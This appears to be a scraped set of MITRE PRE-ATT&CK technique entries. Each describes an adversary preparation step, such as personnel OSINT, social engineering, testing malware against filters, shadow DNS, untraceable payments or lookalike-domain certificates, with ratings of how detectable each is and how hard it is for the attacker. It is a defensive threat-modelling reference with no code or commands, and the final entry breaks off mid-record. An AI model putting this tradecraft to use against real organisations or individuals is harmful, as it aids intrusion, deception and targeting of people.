https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1095 |
Test malware in various execution environments - PRE-T1134
Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([http://www.ubuntu.com Ubuntu] vs [http://www.apple.com/osx/ OS X]), and versions ([http://windows.microsoft.com Windows] 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Adversary can simulate most environments (e.g., variable operating systems, patch levels, application versions) with details available from other techniques.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1134 |
Determine centralization of IT management - PRE-T1062
Determining if a "corporate" help desk exists, the degree of access and control it has, and whether there are "edge" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Requires an adversary to undergo a research process to learn the internal workings of an organization. An adversary can do this by social engineering individuals in the company by claiming to need to find information for the help desk, or through social engineering of former employees or business partners.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1062 |
Test physical access - PRE-T1137
An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Defender often install badging, cameras, security guards or other detection techniques for physical security and monitoring.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Requires a physical presence in the space being entered and increased risk of being detected/detained (e.g., recorded on video camera)
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1137 |
Acquire or compromise 3rd party signing certificates - PRE-T1087
Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don’t know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1087 |
Assess leadership areas of interest - PRE-T1001
Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1001 |
Enumerate client configurations - PRE-T1039
Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Typical information collected as part of accessing web sites (e.g., operating system, browser version, basic configurations).
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Basic web scripting capability to collect information of interest on users of interest. Requires a compromised web site and the users of interest to navigate there.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1039 |
Private whois services - PRE-T1082
Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Algorithmically possible to detect COTS service usage or use of non-specific mailing addresses (PO Boxes, drop sites, etc.)
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Commercially available or easy to set up and/or register using a disposable email account.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1082 |
Assign KITs, KIQs, and/or intelligence requirements - PRE-T1015
Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1015 |
Identify groups/roles - PRE-T1047
Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1047 |
Post compromise tool development - PRE-T1130
After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Post compromise tool development is a standard part of the adversary’s protocol in developing the necessary tools required to completely conduct an attack.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1130 |
Compromise 3rd party or closed-source vulnerability/exploit information - PRE-T1131
There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: The compromise of unknown vulnerabilities would provide little attack and warning against a defender, rendering it highly challenging to detect.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Finding, attacking, and compromising a 3rd party or closed vulnerability entity is challenging, because those containing the vulnerabilities should be very aware of attacks on their environments have a heightened awareness.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1131 |
Acquire OSINT data sets and information - PRE-T1024
Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain. Direct access to the selected target is not required for the adversary to conduct this technique. There is a limited ability to detect this by looking at referrer fields on local web site accesses (e.g., a person who has accessed your web servers from [https://www.shodan.io Shodan]).
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Possible to gather technical intelligence about Internet accessible systems/devices by obtaining various commercial data sets and supporting business intelligence tools for ease of analysis. Commercial data set examples include advertising content delivery networks, Internet mapping/traffic collections, system fingerprinting data sets, device fingerprinting data sets, etc.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1024 |
Acquire and/or use 3rd party software services - PRE-T1085
A wide variety of 3rd party software services are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Defender will not have visibility over account creation for 3rd party software services.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: 3rd party services like these listed are freely available.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1085 |
Confirmation of launched compromise achieved - PRE-T1160
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Current commercial tools and sensitive analytics can be used to detect communications to command and control servers or data exfiltration.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Certainty of the confirmation of compromise is not guaranteed unless the adversary sees communication to a command and control server, exfiltration of data, or an intended effect occur.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1160 |
Identify job postings and needs/gaps - PRE-T1044
Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Public source external to the defender’s organization.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Very public by design.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1044 |
Conduct social engineering or HUMINT operation - PRE-T1153
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary’s use unless a highly motivated or paranoid employee informs security. This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware. Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers). Furthermore, the content of such an interaction may be lost due to lack of collection.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary. Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1. Social engineering can be easily done remotely via email or phone. In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1153 |
Acquire and/or use 3rd party software services - PRE-T1107
A wide variety of 3rd party software services are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Defender will not have visibility over account creation for 3rd party software services.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: 3rd party services like these listed are freely available.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1107 |
Analyze hardware/software security defensive capabilities - PRE-T1071
An adversary can probe a victim’s network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: This can be done offline after the data has been collected.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Analyze network traffic to determine security filtering policies, packets dropped, etc.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1071 |
Dynamic DNS - PRE-T1110
Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Defender will not know at first use what is valid or hostile traffic without more context.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: It is relatively easy to subscribe to dynamic DNS providers or find ways to get different IP addresses from a cloud provider.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1110 |
Discover new exploits and monitor exploit-provider forums - PRE-T1127
An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Public source external to the defender’s organization.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Many public sources exist for this information.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1127 |
Choose pre-compromised persona and affiliated accounts - PRE-T1120
For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: It is relatively easy and low cost to purchase compromised credentials. Mining social media sites offers open source information about a particular target. Most users tend to reuse passwords across sites and are not paranoid enough to check and see if spoofed sites from their persona exist across current social media.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1120 |
Acquire OSINT data sets and information - PRE-T1043
Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Possible to gather digital intelligence about a person is easily aided by social networking sites, free/for fee people search engines, and publicly available information (e.g., county databases on tickets/DUIs).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1043 |
Identify people of interest - PRE-T1046
The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Common defenses protecting against poor OPSEC practices are traditionally more policy-based in nature rather than technical. Policy-based mitigations are generally more difficult to enforce and track violations, making it more difficult that this technique can be detected by common defenses.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Specialty cases enable an adversary to use key words in order to search social media and identify personnel with poor OPSEC practices who may have access to specialized information which would make them a target of interest. In addition, the open nature of social media leads to a tendency among individuals to overshare, encouraging poor OPSEC and increasing the ease by which an adversary can identify interesting targets.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1046 |
Determine external network trust dependencies - PRE-T1036
Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEgg)Wikipedia (Citation: KGBComputerMe)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: This is not easily performed remotely and therefore not a detectable event. If the adversary can sniff traffic to deduce trust relations, this is a passive activity and not detectable.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Determining trust relationships once internal to a network is trivial. Simple tools like trace route can show evidence of firewalls or VPNs and then hosts on the either side of the firewall indicating a different trusted network. Active Directory command line tools can also identify separate trusted networks.
If completely external to a network, sniffing traffic (if possible) could also reveal the communications protocols that could be guessed to be a trusted network connection (e.g., IPsec, maybe SSL, etc.) though this is error-prone.
With no other access, this is hard for an adversary to do completely from a remote vantage point.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1036 |
Determine strategic target - PRE-T1018
An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 ®) (Citation: DoD Cyber 2015)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1018 |
Analyze organizational skillsets and deficiencies - PRE-T1066
Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: This can be done offline after the data has been collected.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Job postings and hiring requisitions have to be made public for contractors and many times have the name of the organization being supported. In addition, they outline the skills needed to do a particular job, which can provide insight into the technical structure and organization of a target.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1066 |
Determine operational element - PRE-T1019
If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 ®) (Citation: DoD Cyber 2015)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1019 |
Test signature detection for file upload/email filters - PRE-T1138
An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Use of sites like [https://www.virustotal.com VirusTotal] to test signature detection often occurs to test detection. Defender can also look for newly added uploads as a precursor to an adversary’s launch of an attack.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Current open source technologies and websites exist to facilitate adversary testing of malware against signatures.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1138 |
Determine highest level tactical element - PRE-T1020
From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 ®) (Citation: DoD Cyber 2015)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1020 |
Targeted client-side exploitation - PRE-T1148
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user’s computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised. The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed. Determining deltas in content (e.g., differences files type/size/number/hashes) downloaded could also aid in detection.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery. The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1148 |
Identify supply chains - PRE-T1042
Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Requires an intensive process to obtain the full picture. It is possible to obtain basic information/some aspects via OSINT. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1042 |
Install and configure hardware, network, and systems - PRE-T1113
An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Skills are common to majority of computer scientists and "hackers". Can be easily obtained through contracting if not organic to adversary’s organization.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1113 |
Host-based hiding techniques - PRE-T1091
Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Techniques are difficult to detect and might occur in uncommon use-cases (e.g., patching, anti-malware, anti-exploitation software).
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Some of the host-based hiding techniques require advanced knowledge combined with an understanding and awareness of the target’s environment (e.g., exploiting weaknesses in file formats, parsers and detection capabilities).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1091 |
Determine physical locations - PRE-T1059
Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Adversary searches publicly available sources that list physical locations that cannot be monitored by a defender or are not necessarily monitored (e.g., all IP addresses touching their public web space listing physical locations).
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Most corporations now list their locations on public facing websites. Some challenge still exists to find covert or sensitive locations.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1059 |
Conduct cost/benefit analysis - PRE-T1003
Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1003 |
Receive KITs/KIQs and determine requirements - PRE-T1016
Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary’s nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1016 |
Analyze presence of outsourced capabilities - PRE-T1080
Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Much of this analysis can be done using the target’s open source website, which is purposely designed to be informational and may not have extensive visitor tracking capabilities.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Analyzing business relationships from information gathering may provide insight into outsourced capabilities. In certain industries, outsourced capabilities or close business partnerships may be advertised on corporate websites.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1080 |
Create implementation plan - PRE-T1009
Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1009 |
Non-traditional or less attributable payment options - PRE-T1093
Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Defender likely will not have access to payment information. Monitoring crypto-currency or barter boards is resource intensive and not fully automatable.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Easy to use pre-paid cards or shell accounts to pay for services online. Crypto currencies and barter systems can avoid use of trace-able bank or credit apparatus.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1093 |
Aggregate individual’s digital footprint - PRE-T1052
In addition to a target’s social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target’s username can mine to determine the target’s larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Information readily available through searches
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1052 |
Identify sensitive personnel information - PRE-T1051
An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: This type of information is useful to understand the individual and their ability to be blackmailed. Searching public records is easy and most information can be purchased for a low cost if the adversary really wants it.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1051 |
Human performs requested action of physical nature - PRE-T1162
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Non-hypersensing environments do not typically collect this level of detailed information.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1162 |
Assess opportunities created by business deals - PRE-T1076
During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Most of this activity would target partners and business processes. Partners would not report. Difficult to tie this activity to a cyber attack.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Mapping joint infrastructure and business processes is difficult without insider knowledge or SIGINT capability. While a merger creates and opportunity to exploit potentially cumbersome or sloppy business processes, advance notice of a merger is difficult; merger information is typically close-hold until the deal is done.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1076 |
Shadow DNS - PRE-T1117
The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)
Detectable by Common Defenses: Partial
Detectable by Common Defenses explanation: Detection of this technique requires individuals to monitor their domain registrant accounts routinely. In addition, defenders have had success with blacklisting sites or IP addresses, but an adversary can defeat this by rotating either the subdomains or the IP addresses associated with the campaign.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: To successfully conduct this attack, an adversary usually phishes the individual behind the domain registrant account, logs in with credentials, and creates a large amount of subdomains.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1117 |
Create custom payloads - PRE-T1122
A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: It is likely that an adversary will create and develop payloads on inaccessible or unknown networks for OPSEC reasons.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Specialized tools exist for research, development, and testing of virus/malware payloads.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1122 |
Conduct social engineering - PRE-T1045
Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1045 |
SSL certificate acquisition for domain - PRE-T1114
Certificates are designed to instill trust. They include information about the key, information about its owner’s identity, and the digital signature of an entity that has verified the certificate’s contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [https://www.wellsfargo.com/about/corporate/wachovia/ Wachovia] — homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)
Detectable by Common Defenses: Yes
